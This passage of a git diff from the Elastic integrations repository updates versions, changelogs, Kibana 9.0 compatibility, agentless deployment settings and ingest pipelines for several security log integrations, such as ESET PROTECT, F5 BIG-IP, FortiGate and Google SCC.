eset_protect.event.description | Description of the blocked file. | keyword | | eset_protect.event.detail | Detailed description of the action. | keyword | +| eset_protect.event.detection_uuid | A detection's unique identifier can be used to query details via ESET CONNECT API. | keyword | | eset_protect.event.domain | Audit log domain. | keyword | | eset_protect.event.eialarmid | ID sub-part of the alarm link ($1 in ^http.\*/alarm/([0-9]+)$). | keyword | | eset_protect.event.eiconsolelink | Link to the alarm in ESET Inspect console. | keyword | @@ -616,6 +618,7 @@ An example event for `event` looks as following: | eset_protect.event.threat_handled | Indicates whether or not the detection was handled. | boolean | | eset_protect.event.threat_name | Name of the detection. | keyword | | eset_protect.event.threat_type | Type of detection. | keyword | +| eset_protect.event.trigger_event | Description of event which triggered detection. | keyword | | eset_protect.event.type | Type of exported events. | keyword | | eset_protect.event.username | Name of the user account associated with the event. | keyword | | event.dataset | Event dataset. | constant_keyword | diff --git a/packages/eset_protect/manifest.yml b/packages/eset_protect/manifest.yml index 4fdd2bdd804..25ccbf9ab12 100644 --- a/packages/eset_protect/manifest.yml +++ b/packages/eset_protect/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.0.3 name: eset_protect title: ESET PROTECT -version: "1.5.1" +version: "1.6.1" description: Collect logs from ESET PROTECT with Elastic Agent. type: integration categories: - security conditions: kibana: - version: ^8.13.0 + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic icons: diff --git a/packages/ess_billing/_dev/build/docs/README.md b/packages/ess_billing/_dev/build/docs/README.md index 978b46ffb3c..473a5d7bc00 100644 --- a/packages/ess_billing/_dev/build/docs/README.md +++ b/packages/ess_billing/_dev/build/docs/README.md @@ -29,6 +29,8 @@ For private cloud, or admin users, the cloud endpoint can be altered to match yo For step-by-step instructions on how to set up an integration, see the [Getting started](https://www.elastic.co/guide/en/starting-with-the-elasticsearch-platform-and-its-solutions/current/getting-started-observability.html) guide. +If you run in the cloud (Cloud Hosted of Serverless), this integration is available [agentless](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) from cluster version 8.17 onward - if this criteria is met, you don't need to install an Elastic Agent to gather these metrics. + ## Data streams reference ### `metrics-ess_billing.billing` data stream diff --git a/packages/ess_billing/changelog.yml b/packages/ess_billing/changelog.yml index 7c14eb666e3..0867ffd8eca 100644 --- a/packages/ess_billing/changelog.yml +++ b/packages/ess_billing/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.2.0" + changes: + - description: Added Agentless deployment mode + type: enhancement + link: https://github.com/elastic/integrations/pull/12906 - version: "1.1.0" changes: - description: Changed credits collection mechanism, fixed stalling issue and fixed duplicate credit count issue diff --git a/packages/ess_billing/docs/README.md b/packages/ess_billing/docs/README.md index f8e6f4cee43..bb353f5afd6 100644 --- a/packages/ess_billing/docs/README.md +++ b/packages/ess_billing/docs/README.md @@ -29,6 +29,8 @@ For private cloud, or admin users, the cloud endpoint can be altered to match yo For step-by-step instructions on how to set up an integration, see the [Getting started](https://www.elastic.co/guide/en/starting-with-the-elasticsearch-platform-and-its-solutions/current/getting-started-observability.html) guide. +If you run in the cloud (Cloud Hosted of Serverless), this integration is available [agentless](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) from cluster version 8.17 onward - if this criteria is met, you don't need to install an Elastic Agent to gather these metrics. + ## Data streams reference ### `metrics-ess_billing.billing` data stream diff --git a/packages/ess_billing/manifest.yml b/packages/ess_billing/manifest.yml index d765fa838bc..e76f5737a0b 100644 --- a/packages/ess_billing/manifest.yml +++ b/packages/ess_billing/manifest.yml @@ -1,7 +1,7 @@ -format_version: 3.2.2 +format_version: 3.3.2 name: ess_billing title: "Elasticsearch Service Billing" -version: 1.1.0 +version: 1.2.0 source: license: "Elastic-2.0" description: "Collects billing metrics from Elasticsearch Service billing API" @@ -31,6 +31,15 @@ policy_templates: - name: ESS Billing title: Elasticsearch Service Billing Metrics description: Collect billing metrics from Elasticsearch Service billing API. + deployment_modes: + default: + enabled: true + agentless: + enabled: true + is_default: true + organization: elastic + division: field + team: csg inputs: - type: cel title: Collect Elasticsearch Service Billing Metrics diff --git a/packages/f5_bigip/changelog.yml b/packages/f5_bigip/changelog.yml index a60cf74e109..75422c40997 100644 --- a/packages/f5_bigip/changelog.yml +++ b/packages/f5_bigip/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "1.27.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 +- version: "1.26.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.25.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/f5_bigip/data_stream/log/agent/stream/aws-s3.yml.hbs b/packages/f5_bigip/data_stream/log/agent/stream/aws-s3.yml.hbs index 0f374456817..141bd8c7d06 100644 --- a/packages/f5_bigip/data_stream/log/agent/stream/aws-s3.yml.hbs +++ b/packages/f5_bigip/data_stream/log/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/f5_bigip/data_stream/log/manifest.yml b/packages/f5_bigip/data_stream/log/manifest.yml index aad44200467..65ef6b5ae44 100644 --- a/packages/f5_bigip/data_stream/log/manifest.yml +++ b/packages/f5_bigip/data_stream/log/manifest.yml @@ -85,6 +85,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/f5_bigip/manifest.yml b/packages/f5_bigip/manifest.yml index 6d607ed88a6..4d2420d4ae8 100644 --- a/packages/f5_bigip/manifest.yml +++ b/packages/f5_bigip/manifest.yml @@ -1,14 +1,14 @@ format_version: "3.0.2" name: f5_bigip title: F5 BIG-IP -version: "1.25.1" +version: "1.27.0" description: Collect logs from F5 BIG-IP with Elastic Agent. type: integration categories: - security conditions: kibana: - version: "^8.16.2" + version: "^8.16.5 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/falco/changelog.yml b/packages/falco/changelog.yml index b5904fe2094..73684bbf72b 100644 --- a/packages/falco/changelog.yml +++ b/packages/falco/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.3.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.2.1" changes: - description: Update links to getting started docs diff --git a/packages/falco/manifest.yml b/packages/falco/manifest.yml index b3cefc8bf47..90fa1075127 100644 --- a/packages/falco/manifest.yml +++ b/packages/falco/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.1.2 name: falco title: Falco -version: 1.2.1 +version: "1.3.0" description: Collect events and alerts from Falco using Elastic Agent type: integration categories: @@ -11,7 +11,7 @@ categories: - security conditions: kibana: - version: "^8.13.3" + version: "^8.13.3 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/fireeye/changelog.yml b/packages/fireeye/changelog.yml index 03f8811722d..b17d57f84a8 100644 --- a/packages/fireeye/changelog.yml +++ b/packages/fireeye/changelog.yml @@ -1,3 +1,8 @@ +- version: "1.25.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.24.0" changes: - description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error". diff --git a/packages/fireeye/manifest.yml b/packages/fireeye/manifest.yml index f5bffae19e4..aa3676d9807 100644 --- a/packages/fireeye/manifest.yml +++ b/packages/fireeye/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: fireeye title: "FireEye Network Security" -version: "1.24.0" +version: "1.25.0" description: Collect logs from FireEye NX with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/FireEye-logo.svg title: Fireeye logo diff --git a/packages/first_epss/changelog.yml b/packages/first_epss/changelog.yml index ac7e32b0f72..6ef82fba7c3 100644 --- a/packages/first_epss/changelog.yml +++ b/packages/first_epss/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.3.2" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/first_epss/manifest.yml b/packages/first_epss/manifest.yml index 49aa6afae85..b11c570c5a7 100644 --- a/packages/first_epss/manifest.yml +++ b/packages/first_epss/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.2.1 name: first_epss title: First EPSS -version: 0.3.2 +version: "0.4.0" description: Collect exploit prediction score data from the First EPSS API with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - vulnerability_management conditions: kibana: - version: "^8.14.0" + version: "^8.14.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/forcepoint_web/changelog.yml b/packages/forcepoint_web/changelog.yml index a352605c145..6c6889d6675 100644 --- a/packages/forcepoint_web/changelog.yml +++ b/packages/forcepoint_web/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.13.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.12.0" changes: - description: Allow the usage of deprecated log input and support for stack 9.0 diff --git a/packages/forcepoint_web/manifest.yml b/packages/forcepoint_web/manifest.yml index 4dca3f91dca..a6262e92f94 100644 --- a/packages/forcepoint_web/manifest.yml +++ b/packages/forcepoint_web/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: forcepoint_web title: "Forcepoint Web Security" -version: "1.12.0" +version: "1.13.0" source: license: "Elastic-2.0" description: "Forcepoint Web Security" @@ -11,7 +11,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/forgerock/changelog.yml b/packages/forgerock/changelog.yml index 3c7562a6263..dbc361ee581 100644 --- a/packages/forgerock/changelog.yml +++ b/packages/forgerock/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.21.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.20.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/forgerock/manifest.yml b/packages/forgerock/manifest.yml index 8b8a89b4142..e9276819543 100644 --- a/packages/forgerock/manifest.yml +++ b/packages/forgerock/manifest.yml @@ -1,13 +1,13 @@ name: forgerock title: "ForgeRock" -version: "1.20.1" +version: "1.21.0" description: Collect audit logs from ForgeRock with Elastic Agent. type: integration format_version: "3.0.2" categories: ["security"] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/forgerock-dashboard.png title: ForgeRock Dashboard diff --git a/packages/fortinet_fortigate/changelog.yml b/packages/fortinet_fortigate/changelog.yml index 04d2501a852..67b76a4fffa 100644 --- a/packages/fortinet_fortigate/changelog.yml +++ b/packages/fortinet_fortigate/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.30.0" + changes: + - description: If url parsing fails, append failure message to error.message. + type: enhancement + link: https://github.com/elastic/integrations/pull/12895 - version: "1.29.2" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/event.yml b/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/event.yml index f3ce9ac2e51..c1e10e6f576 100644 --- a/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/event.yml +++ b/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/event.yml @@ -206,6 +206,10 @@ processors: target_field: url keep_original: false if: ctx.fortinet?.firewall?.url != null + on_failure: + - append: + field: error.message + value: "url parsing failed with message {{ _ingest.on_failure_message }}" # Need to do a set, then remove since rename w/ override # is not supported in 8.3.0 - set: diff --git a/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/traffic.yml b/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/traffic.yml index 832aef13a64..bb5931ad7fc 100644 --- a/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/traffic.yml +++ b/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/traffic.yml @@ -220,6 +220,10 @@ processors: target_field: url keep_original: false if: ctx.fortinet?.firewall?.url != null + on_failure: + - append: + field: error.message + value: "url parsing failed with message {{ _ingest.on_failure_message }}" - remove: field: fortinet.firewall.url ignore_missing: true diff --git a/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/utm.yml b/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/utm.yml index 230988cc54c..c139f126680 100644 --- a/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/utm.yml +++ b/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/utm.yml @@ -285,6 +285,10 @@ processors: target_field: url keep_original: false if: ctx.fortinet?.firewall?.url != null + on_failure: + - append: + field: error.message + value: "url parsing failed with message {{ _ingest.on_failure_message }}" # Need to do a set, then remove since rename w/ override # is not supported in 8.3.0 - set: diff --git a/packages/fortinet_fortigate/manifest.yml b/packages/fortinet_fortigate/manifest.yml index 6d6f8f45073..ebbc7badaf4 100644 --- a/packages/fortinet_fortigate/manifest.yml +++ b/packages/fortinet_fortigate/manifest.yml @@ -1,6 +1,6 @@ name: fortinet_fortigate title: Fortinet FortiGate Firewall Logs -version: "1.29.2" +version: "1.30.0" description: Collect logs from Fortinet FortiGate firewalls with Elastic Agent. type: integration format_version: "3.0.3" diff --git a/packages/gcp_pubsub/changelog.yml b/packages/gcp_pubsub/changelog.yml index 1408a256a1c..54fd3cbd945 100644 --- a/packages/gcp_pubsub/changelog.yml +++ b/packages/gcp_pubsub/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.2.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.1.1" changes: - description: Add missing category. diff --git a/packages/gcp_pubsub/manifest.yml b/packages/gcp_pubsub/manifest.yml index c7b366595a1..a7f7ef32759 100644 --- a/packages/gcp_pubsub/manifest.yml +++ b/packages/gcp_pubsub/manifest.yml @@ -3,7 +3,7 @@ title: Custom Google Pub/Sub Logs format_version: "3.0.2" description: Collect Logs from Google Pub/Sub topics type: input -version: "2.1.1" +version: "2.2.0" icons: - src: /img/logo_gcp.svg title: logo gcp @@ -16,7 +16,7 @@ categories: - custom conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" policy_templates: - name: gcp title: Custom Google Pub/Sub Logs diff --git a/packages/gigamon/changelog.yml b/packages/gigamon/changelog.yml index e0022c10a20..a0ddb813aca 100644 --- a/packages/gigamon/changelog.yml +++ b/packages/gigamon/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.3.1" changes: - description: Fixed hardcoded timestamp in dashboard queries. diff --git a/packages/gigamon/manifest.yml b/packages/gigamon/manifest.yml index 9458886c592..b77f599a42a 100644 --- a/packages/gigamon/manifest.yml +++ b/packages/gigamon/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.1.3 name: gigamon title: Gigamon -version: "1.3.1" +version: "1.4.0" description: Collect logs from Gigamon with Elastic Agent. type: integration categories: @@ -11,7 +11,7 @@ categories: - application_observability conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/github/changelog.yml b/packages/github/changelog.yml index 553356b5022..3c964ea33bb 100644 --- a/packages/github/changelog.yml +++ b/packages/github/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "2.4.1" + changes: + - description: Add missing ECS field in latest_code_scanning transform. + type: bugfix + link: http://github.com/elastic/integrations/pull/12841 +- version: "2.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.3.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/github/elasticsearch/transform/latest_code_scanning/fields/ecs.yml b/packages/github/elasticsearch/transform/latest_code_scanning/fields/ecs.yml index 8cfb2793292..d3155a2d1cd 100644 --- a/packages/github/elasticsearch/transform/latest_code_scanning/fields/ecs.yml +++ b/packages/github/elasticsearch/transform/latest_code_scanning/fields/ecs.yml @@ -38,3 +38,5 @@ name: rule.name - external: ecs name: tags +- external: ecs + name: message diff --git a/packages/github/elasticsearch/transform/latest_code_scanning/transform.yml b/packages/github/elasticsearch/transform/latest_code_scanning/transform.yml index 06958284992..a46e300f258 100644 --- a/packages/github/elasticsearch/transform/latest_code_scanning/transform.yml +++ b/packages/github/elasticsearch/transform/latest_code_scanning/transform.yml @@ -10,7 +10,7 @@ source: # that ability in order to prevent having duplicate data and prevent query # time field type conflicts. dest: - index: "logs-github_latest.dest_code_scanning-1" + index: "logs-github_latest.dest_code_scanning-2" aliases: - alias: "logs-github_latest.code_scanning" move_on_creation: true @@ -38,5 +38,5 @@ _meta: managed: false # Bump this version to delete, reinstall, and restart the transform during # package installation. - fleet_transform_version: 1.0.0 + fleet_transform_version: 1.1.0 run_as_kibana_system: false diff --git a/packages/github/manifest.yml b/packages/github/manifest.yml index 2077caa4370..a22f492625d 100644 --- a/packages/github/manifest.yml +++ b/packages/github/manifest.yml @@ -1,13 +1,13 @@ name: github title: GitHub -version: "2.3.1" +version: "2.4.1" description: Collect logs from GitHub with Elastic Agent. type: integration format_version: "3.0.2" categories: [security, "productivity_security"] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/github.svg title: GitHub diff --git a/packages/gitlab/changelog.yml b/packages/gitlab/changelog.yml index 42f217c08a9..1097980c944 100644 --- a/packages/gitlab/changelog.yml +++ b/packages/gitlab/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.2.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.1.0" changes: - description: Add support for log file fingerprint scanner configuration. diff --git a/packages/gitlab/manifest.yml b/packages/gitlab/manifest.yml index 633d29e4dd0..4d35d813a8c 100644 --- a/packages/gitlab/manifest.yml +++ b/packages/gitlab/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.1.3 name: gitlab title: GitLab -version: 2.1.0 +version: "2.2.0" description: Collect logs from GitLab with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - productivity_security conditions: kibana: - version: ^8.13.0 + version: "^8.13.0 || ^9.0.0" icons: - src: /img/gitlab-logo.svg title: gitlab Logo diff --git a/packages/google_cloud_storage/changelog.yml b/packages/google_cloud_storage/changelog.yml index 70cea1a2a95..52a54929f69 100644 --- a/packages/google_cloud_storage/changelog.yml +++ b/packages/google_cloud_storage/changelog.yml @@ -1,3 +1,8 @@ +- version: "2.2.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.1.0" changes: - description: ECS version updated to 8.11.0. Removed import_mappings. Update the kibana constraint to ^8.13.0. Modified the field definitions to remove ECS fields made redundant by the ecs@mappings component template. diff --git a/packages/google_cloud_storage/manifest.yml b/packages/google_cloud_storage/manifest.yml index ea3b4d4ae83..4346e48b94e 100644 --- a/packages/google_cloud_storage/manifest.yml +++ b/packages/google_cloud_storage/manifest.yml @@ -3,10 +3,10 @@ name: google_cloud_storage title: Custom GCS (Google Cloud Storage) Input description: Collect JSON data from configured GCS Bucket with Elastic Agent. type: input -version: "2.1.0" +version: "2.2.0" conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" categories: - custom - cloud diff --git a/packages/google_scc/_dev/build/docs/README.md b/packages/google_scc/_dev/build/docs/README.md index be4bd4ddd8b..02281f77d34 100644 --- a/packages/google_scc/_dev/build/docs/README.md +++ b/packages/google_scc/_dev/build/docs/README.md @@ -24,30 +24,34 @@ This module has been tested against the latest Google SCC API version **v1**. ## Requirements -- Elastic Agent must be installed. +### Agentless Enabled Integration +Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). + +Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. + +### Agent Based Installation +- Elastic Agent must be installed - You can install only one Elastic Agent per host. - Elastic Agent is required to stream data from the GCP Pub/Sub or REST API and ship the data to Elastic, where the events will then be processed via the integration's ingest pipelines. -### Installing and managing an Elastic Agent: +#### Installing and managing an Elastic Agent: You have a few options for installing and managing an Elastic Agent: -### Install a Fleet-managed Elastic Agent (recommended): +#### Install a Fleet-managed Elastic Agent (recommended): With this approach, you install Elastic Agent and use Fleet in Kibana to define, configure, and manage your agents in a central location. We recommend using Fleet management because it makes the management and upgrade of your agents considerably easier. -### Install Elastic Agent in standalone mode (advanced users): +#### Install Elastic Agent in standalone mode (advanced users): With this approach, you install Elastic Agent and manually configure the agent locally on the system where it’s installed. You are responsible for managing and upgrading the agents. This approach is reserved for advanced users only. -### Install Elastic Agent in a containerized environment: +#### Install Elastic Agent in a containerized environment: You can run Elastic Agent inside a container, either with Fleet Server or standalone. Docker images for all versions of Elastic Agent are available from the Elastic Docker registry and we provide deployment manifests for running on Kubernetes. There are some minimum requirements for running Elastic Agent and for more information, refer to the link [here](https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html). -The minimum **kibana.version** required is **8.8.0**. - ## Prerequisites - Create Google SCC service account [Steps to create](https://developers.google.com/identity/protocols/oauth2/service-account#creatinganaccount). diff --git a/packages/google_scc/changelog.yml b/packages/google_scc/changelog.yml index 2e4c7492b44..af6590277b8 100644 --- a/packages/google_scc/changelog.yml +++ b/packages/google_scc/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "1.8.1" + changes: + - description: Enable Agentless deployment and fixed manifest.yml to support package-spec 3.2.3. + type: enhancement + link: https://github.com/elastic/integrations/pull/12907 +- version: "1.8.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.7.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/google_scc/data_stream/asset/elasticsearch/ingest_pipeline/default.yml b/packages/google_scc/data_stream/asset/elasticsearch/ingest_pipeline/default.yml index e7ab0e5e5a1..213ffc30f39 100644 --- a/packages/google_scc/data_stream/asset/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_scc/data_stream/asset/elasticsearch/ingest_pipeline/default.yml @@ -23,6 +23,11 @@ processors: tag: rename_message ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original tag: 'json_decoding' diff --git a/packages/google_scc/data_stream/audit/elasticsearch/ingest_pipeline/default.yml b/packages/google_scc/data_stream/audit/elasticsearch/ingest_pipeline/default.yml index cac03540eef..e6ea8b4f1f1 100644 --- a/packages/google_scc/data_stream/audit/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_scc/data_stream/audit/elasticsearch/ingest_pipeline/default.yml @@ -11,6 +11,11 @@ processors: tag: rename_message ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - set: field: event.kind tag: set_event_kind diff --git a/packages/google_scc/data_stream/finding/elasticsearch/ingest_pipeline/default.yml b/packages/google_scc/data_stream/finding/elasticsearch/ingest_pipeline/default.yml index 2e72fdc9bda..14f7ef252e7 100644 --- a/packages/google_scc/data_stream/finding/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_scc/data_stream/finding/elasticsearch/ingest_pipeline/default.yml @@ -11,6 +11,11 @@ processors: tag: rename_message ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original tag: 'json_decoding' diff --git a/packages/google_scc/data_stream/source/elasticsearch/ingest_pipeline/default.yml b/packages/google_scc/data_stream/source/elasticsearch/ingest_pipeline/default.yml index 04ca7c60a9c..3c3184f83a6 100644 --- a/packages/google_scc/data_stream/source/elasticsearch/ingest_pipeline/default.yml +++ b/packages/google_scc/data_stream/source/elasticsearch/ingest_pipeline/default.yml @@ -11,6 +11,11 @@ processors: tag: rename_message ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - set: field: event.kind tag: set_event_kind diff --git a/packages/google_scc/docs/README.md b/packages/google_scc/docs/README.md index 874cdb891f4..0f3ac3eb7a0 100644 --- a/packages/google_scc/docs/README.md +++ b/packages/google_scc/docs/README.md @@ -24,30 +24,34 @@ This module has been tested against the latest Google SCC API version **v1**. ## Requirements -- Elastic Agent must be installed. +### Agentless Enabled Integration +Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). + +Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. + +### Agent Based Installation +- Elastic Agent must be installed - You can install only one Elastic Agent per host. - Elastic Agent is required to stream data from the GCP Pub/Sub or REST API and ship the data to Elastic, where the events will then be processed via the integration's ingest pipelines. -### Installing and managing an Elastic Agent: +#### Installing and managing an Elastic Agent: You have a few options for installing and managing an Elastic Agent: -### Install a Fleet-managed Elastic Agent (recommended): +#### Install a Fleet-managed Elastic Agent (recommended): With this approach, you install Elastic Agent and use Fleet in Kibana to define, configure, and manage your agents in a central location. We recommend using Fleet management because it makes the management and upgrade of your agents considerably easier. -### Install Elastic Agent in standalone mode (advanced users): +#### Install Elastic Agent in standalone mode (advanced users): With this approach, you install Elastic Agent and manually configure the agent locally on the system where it’s installed. You are responsible for managing and upgrading the agents. This approach is reserved for advanced users only. -### Install Elastic Agent in a containerized environment: +#### Install Elastic Agent in a containerized environment: You can run Elastic Agent inside a container, either with Fleet Server or standalone. Docker images for all versions of Elastic Agent are available from the Elastic Docker registry and we provide deployment manifests for running on Kubernetes. There are some minimum requirements for running Elastic Agent and for more information, refer to the link [here](https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html). -The minimum **kibana.version** required is **8.8.0**. - ## Prerequisites - Create Google SCC service account [Steps to create](https://developers.google.com/identity/protocols/oauth2/service-account#creatinganaccount). diff --git a/packages/google_scc/manifest.yml b/packages/google_scc/manifest.yml index ceb54c85219..143401ff4c1 100644 --- a/packages/google_scc/manifest.yml +++ b/packages/google_scc/manifest.yml @@ -1,7 +1,7 @@ -format_version: "3.0.3" +format_version: "3.2.3" name: google_scc title: Google Security Command Center -version: "1.7.1" +version: "1.8.1" description: Collect logs from Google Security Command Center with Elastic Agent. type: integration categories: @@ -10,7 +10,7 @@ categories: - cloudsecurity_cdr conditions: kibana: - version: "^8.13.0" + version: "^8.18.0 || ^9.0.0" elastic: subscription: basic screenshots: @@ -43,6 +43,14 @@ policy_templates: - name: google_scc title: Google SCC logs description: Collect logs from Google SCC. + deployment_modes: + default: + enabled: true + agentless: + enabled: true + organization: security + division: engineering + team: security-service-integrations inputs: - type: httpjson title: Collect Google SCC logs via API diff --git a/packages/google_workspace/_dev/build/docs/README.md b/packages/google_workspace/_dev/build/docs/README.md index 8b212566dad..a82076bb6fa 100644 --- a/packages/google_workspace/_dev/build/docs/README.md +++ b/packages/google_workspace/_dev/build/docs/README.md @@ -123,6 +123,12 @@ Once Service Account credentials are downloaded as a JSON file, then the integra > NOTE: The default value of the "Page Size" is set to 1000. This option is available under 'Alert' Advance options. Set the parameter "Page Size" according to the requirement. For Alert Data Stream, The default value of "Alert Center API Host" is `https://alertcenter.googleapis.com`. The Alert Center API Host will be used for collecting alert logs only. +## Agentless Enabled Integration + +Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer 